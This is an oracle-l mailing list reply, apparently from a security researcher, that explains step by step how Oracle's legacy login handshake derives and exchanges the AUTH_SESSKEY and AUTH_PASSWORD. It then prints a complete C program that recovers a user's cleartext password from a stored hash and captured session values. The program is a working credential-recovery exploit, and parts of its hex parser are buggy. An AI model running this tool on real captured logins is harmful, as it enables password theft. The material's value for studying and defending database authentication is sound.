Re: Question re security

From: <david_at_databasesecurity.com>
Date: Tue, 21 Jan 2014 02:32:37 -0000
Message-ID: <BF2B70DC4BF547759DE5D32C98E89F49_at_NAUTILUS>



On 20/01/2014 12:11 PM, david_at_databasesecurity.com wrote:
>> The hash has never been passed over the wire - I describe in detail how
>> authentication works in the Oracle Hacker's Handbook in Chapter 4. Here's
>> an online copy:
>> http://books.google.com.au/books?id=cDy2_QoQplEC&lpg=PA43&ots=5tygnUMzKQ&dq=oracle%20authentication%20process%20litchfield&pg=PA43#v=onepage&q=oracle%20authentication%20process%20litchfield&f=false
>>

> Thanks, Unfortunately, that online reference ends before the really > relevant bit is shown.

Here you go:

The server takes the supplied username and checks if it is a valid user. If it is not the server sends a "login denied" error to the client. We'll come back to this shortly. If the username does exist then the server extracts the user's password hash from the database. The server uses this hash to create a secret number. The secret number is created as follows: the server calls the slgdt() function in the orageneric library. This function essentially gets the system time. The minutes, hours, milliseconds and second, all stored as a WORD, are joined to form the 8 bytes of "text" to be encrypted. The first 4 bytes of the key to be used in the encryption is the minutes and hours xored with the last four bytes of the user's hex password hash; the last four bytes of the key are made up from the milliseconds and the seconds xored with the first 4 bytes of the user's hex password hash. This key is used to encrypt the text by calling the kzsrenc() function in the oracommon library. This function basically performs DES key scheduling using the lncgks() function and then uses the lncecb() function to output the cipher text using DES in ECB mode.

The cipher text produced here becomes the secret number. This secret number is then encrypted with the user's password hash, again using the kzsrenc() function and the result of this becomes the AUTH_SESSKEY. This is then sent over to the client.

On receiving the AUTH_SESSKEY the client must decrypt it to get out the secret number. The user creates a copy of their own password hash using the lncupw() function in the oracore library. This hash is then used as the key to decrypt the AUTH_SESSKEY by calling the kzsrdec() function. All things going well this should produce the secret number. This secret number is then used as a key to encrypt the user's clear text, case sensitive password by calling the kzsrenp() function. This function performs the DES key scheduling and encrypts the user's password in CBC mode. The cipher text is then sent back to the server as the AUTH_PASSWORD.

The server decrypts the AUTH_PASSWORD with the secret number used as the key by calling the kzsrdep() function in the oracommon library. The server now has a copy of the clear text password. The server then creates the password hash and compares it with the hash in the database. If they match the user is authenticated. Checks are then performed by the server to see if the user has the CREATE SESSION privilege and if so the user is given access to the database server.

What this means is that, if you have knowledge of the password hash stored in the database and can capture the AUTH_SESSKEY and the AUTH_PASSWORD then you can extract the trivially obtain the clear text password:

/*
C:\>cl /TC opass.c
C:\>opass E:\oracle\ora81\BIN\oracommon8.dll EED9B65CCECDB2E9
DF0536A94ADEE746
36A2CB576171FEAD Secret is CEAF9C221915EC3E
Password is password

*/

#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
FARPROC kzsrdec = NULL;
FARPROC kzsrdep = NULL;
HANDLE oracommon = NULL;
unsigned char dll_path[260]="";

unsigned char hash[40]="";
unsigned char sess[40]="";
unsigned char pass[260]="";

unsigned char o[20]="";
unsigned char pwd[200]="";

if(argc!=5)
{

printf("\n\t*** Oracle Password Revealer ***\n\n");
printf("\tC:\\>%s ",argv[0]);
printf("path_to_oracommon.dll ");
printf("password_hash auth_sesskey ");
printf("auth_password\n\n");
printf("\tDavid Litchfield\n");
printf("\tdavid_at_xxxxxxxxxxxxxxxxxxxx\n");
printf("\t10th June 2006\n\n");

return 0;
}
strncpy(dll_path,argv[1],256);
strncpy(hash,argv[2],36);
strncpy(sess,argv[3],36);
strncpy(pass,argv[4],256);

if(StringToHex(hash,1)==0)
return printf("Error in the password hash.\n");

if(StringToHex(sess,1)==0)
return printf("Error in the auth_sesskey.\n");

if(StringToHex(pass,0)==0)
return printf("Error in the auth_password.\n");

oracommon = LoadLibrary(dll_path);
if(!oracommon)
return printf("Failed to load %s\n",dll_path);

kzsrdec = GetProcAddress(oracommon,"kzsrdec"); if(!kzsrdec)
return printf("No address for kzsrdec.\n");

kzsrdep = GetProcAddress(oracommon,"kzsrdep"); if(!kzsrdep)
return printf("No address for kzsrdep.\n");

kzsrdec(sess,o,hash);

printf("\nSecret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X\n", o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]);

kzsrdep(pwd,pass,strlen(pass),o);

printf("Password is %s\n",pwd);

return 0;
}

int StringToHex(char *str,int cnv)
{

unsigned int len = 0, c=0,i=0;
unsigned char a=0,b=0;
unsigned char tmp[12]="";

len = strlen(str);
if(len > 16)
return 0;

while(c < len)
{
a = str[c++];
b = str[c++];
if(a > 0x2F && a < 0x3A)
  a = a - 0x30;
else if(a > 0x40 && a < 0x47)
  a = a - 0x37;
else if(a > 0x60 && a < 0x67)
  a = a - 0x57;
else
  return 0;

if(b > 0x2F && b < 0x3A)
  b = b - 0x30;
else if(b > 0x40 && a < 0x47)
  b = b - 0x37;
else if(a > 0x60 && a < 0x67)
  b = b - 0x57;
else
  return 0;

a = a << 4;
a = a + b;
tmp[i]=a;
i ++;
}

memset(str,0,len);
c=0;
if(cnv)
{
while(c < 8)
{

  str[c+0]=tmp[c+3];
  str[c+1]=tmp[c+2];
  str[c+2]=tmp[c+1];
  str[c+3]=tmp[c+0];

  c = c + 4;
}
return 1;
}
while(c < 8)
{
str[c]=tmp[c];
c = c ++;
}
return 1;
}
--
http://www.freelists.org/webpage/oracle-l
Received on Tue Jan 21 2014 - 03:32:37 CET

Original text of this message